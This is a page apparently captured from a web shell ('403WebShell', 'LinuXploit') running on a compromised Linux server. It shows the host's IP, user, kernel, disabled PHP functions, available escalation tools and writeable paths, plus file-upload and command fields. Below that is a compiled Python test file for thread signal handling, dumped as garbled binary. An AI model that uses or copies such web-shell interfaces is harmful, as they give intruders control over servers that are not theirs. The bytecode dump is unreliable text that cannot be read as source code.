Uname:Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64

403WebShell
403Webshell
Server IP : 3.111.61.48  /  Your IP : 216.73.216.67
Web Server : Apache
System : Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.2.31
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3.10/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3.10/test/__pycache__/test_threadsignals.cpython-310.pyc
o

�9jo(�@s�dZddlZddlZddlZddlZddlmZddlZddl	Z	ej
dd�dkr1e�dej
��e��Z
e��ZejjdkoDejjdkZd	d
�Zdd�Zd
d�ZGdd�dej�Zdd�Zedkrhe��dSdS)z6PyUnit testing that threads honor our signal semantics�N)�threading_helper��winzCan't test signal on %s�pthreadz
mutex+condcCs4t�tj|�}t�tj|�}t�tj|�}|||fS�N)�signal�SIGUSR1�SIGUSR2�SIGALRM)�for_usr1�for_usr2�for_alrm�usr1�usr2�alrm�r�./usr/lib/python3.10/test/test_threadsignals.py�registerSignalss
rcCs(t|dd7<t��t|d<dS)N�tripped��
tripped_by)�signal_blackboard�thread�	get_ident)�sig�framerrr�handle_signalssrcCs(t�ttj�t�ttj�t��dSr)�os�kill�process_pidrrr	�
signalled_all�releaserrrr�send_signals"sr"c@s�eZdZdd�Zdd�Zdd�Ze�ed�e�e	j
�d�o!e	jj
d	�e�e	j
�d
�d�dd
����Ze�ed�e�e	j
�d�oDe	jj
d	�e�e	j
�d
�d�dd����Zdd�Zdd�Zdd�Zdd�ZdS)�
ThreadSignalsc	Cs�t���t��|��t��Wd�n1swYttjddks2ttjddkrIzt�	d�t�
�Wt�	d�nt�	d�w|�ttjdd�|�ttjdt�
��|�ttjdd�|�ttjdt�
��t��dS)Nrrrr)r�wait_threads_exitr �acquire�spawnSignallingThreadrrrr	�alarm�pause�assertEqualrrr!��selfrrr�test_signals)s(

�

��zThreadSignals.test_signalscCst�td�dS)Nr)r�start_new_threadr"r*rrrr&Isz#ThreadSignals.spawnSignallingThreadcCst�r)�KeyboardInterrupt)r+rrrrr�alarm_interruptLszThreadSignals.alarm_interruptz/POSIX condition variables cannot be interrupted�linuxzBIssue 34004: musl does not allow interruption of locks by signals.�openbsdz%lock cannot be interrupted on OpenBSDc
Cs�t�tj|j�}z5t��}|��t�d�t��}|j	t
|jdd�t��|}|�|d�Wt�d�t�tj|�dSt�d�t�tj|�w)Nr���timeout�@r)rr
r/r�
allocate_lockr%r'�time�	monotonic�assertRaisesr.�
assertLess)r+�oldalrm�lock�t1�dtrrr�test_lock_acquire_interruptionOs


�z,ThreadSignals.test_lock_acquire_interruptionc
st�tj|j�}zut����fdd�}t���At�|d��jdd�r3��	�t
�d��jdd�s$t�d�t
�
�}|jt�jdd	�t
�
�|}|�|d
�Wd�n1s[wYWt�d�t�tj|�dSWt�d�t�tj|�dSt�d�t�tj|�w)Ncs���dSr)r%r��rlockrr�other_thread�szCThreadSignals.test_rlock_acquire_interruption.<locals>.other_threadrF��blocking�{�G�z�?rr2r3r5r)rr
r/r�RLockrr$r-r%r!r7�sleepr'r8r9r.r:)r+r;rBr=r>rr@r�test_rlock_acquire_interruptionns.

�
�

�


�z-ThreadSignals.test_rlock_acquire_interruptionc
s�d�_�fdd�}t�tj|�}zX�fdd�}t���2t�|d��jdd�r7���t	�
d��jdd�s(���}���j���|�Wd�n1sPwYWt�tj|�dSWt�tj|�dSt�tj|�w)	NFcs
d�_dS)NT)�	sig_recvd)rrr*rr�
my_handler�s
z9ThreadSignals.acquire_retries_on_intr.<locals>.my_handlercs6���t�d�t�ttj�t�d����dS)N��?)	r%r7rGrrrrrr!r)r<rrrB�s


z;ThreadSignals.acquire_retries_on_intr.<locals>.other_threadrrCrE)rIrrrr$rr-r%r!r7rG�
assertTrue)r+r<rJ�old_handlerrB�resultr�r<r+r�acquire_retries_on_intr�s$


��
�"
z%ThreadSignals.acquire_retries_on_intrcC�|�t���dSr)rPrr6r*rrr�!test_lock_acquire_retries_on_intr��z/ThreadSignals.test_lock_acquire_retries_on_intrcCrQr)rPrrFr*rrr�"test_rlock_acquire_retries_on_intr�rSz0ThreadSignals.test_rlock_acquire_retries_on_intrc
sd�_d�_d�_t������t�������fdd�}t�tj|�}z]��fdd�}�fdd�}t�	��0t�
|d�|�������j�jd	����j�jd
����jd�Wd�n1skwYWt�tj|�dSWt�tj|�dSt�tj|�w)Nrcs�jd7_dS)Nr)�
sigs_recvd)�signumrr*rrrJ�rSz@ThreadSignals.test_interrupted_timed_acquire.<locals>.my_handlercs$t���_�jdd�t���_dS)NrKr3)r7r8�startr%�endrrOrr�
timed_acquire�s
zCThreadSignals.test_interrupted_timed_acquire.<locals>.timed_acquirecs2td�D]}t�d�t�ttj�q���dS)N�(g{�G�z�?)	�ranger7rGrrrrrr!)�_)�donerrr"�s
zBThreadSignals.test_interrupted_timed_acquire.<locals>.send_signalsrg@g333333�?)
rWrXrUrr6r%rrrr$r-r:�
assertGreater)r+rJrMrYr"r)r]r<r+r�test_interrupted_timed_acquire�s.
��"z,ThreadSignals.test_interrupted_timed_acquireN)�__name__�
__module__�__qualname__r,r&r/�unittest�skipIf�USING_PTHREAD_COND�sys�platform�
startswith�thread_info�versionr?rHrPrRrTr_rrrrr#'s< ������ r#cCsJtjddd�tjddd�tjddd�iatttt�}tjtg|�R�dS)Nr)rr)	rrr	r
rrrrc�addModuleCleanup)�oldsigsrrr�setUpModule�s�rm�__main__)�__doc__rcrrrf�test.supportr�_threadrr7rg�SkipTest�getpidrr6r ri�namer<rerrr"�TestCaser#rmr`�mainrrrr�<module>s0
�	C�

Youez - 2016 - github.com/yon3zu
LinuXploit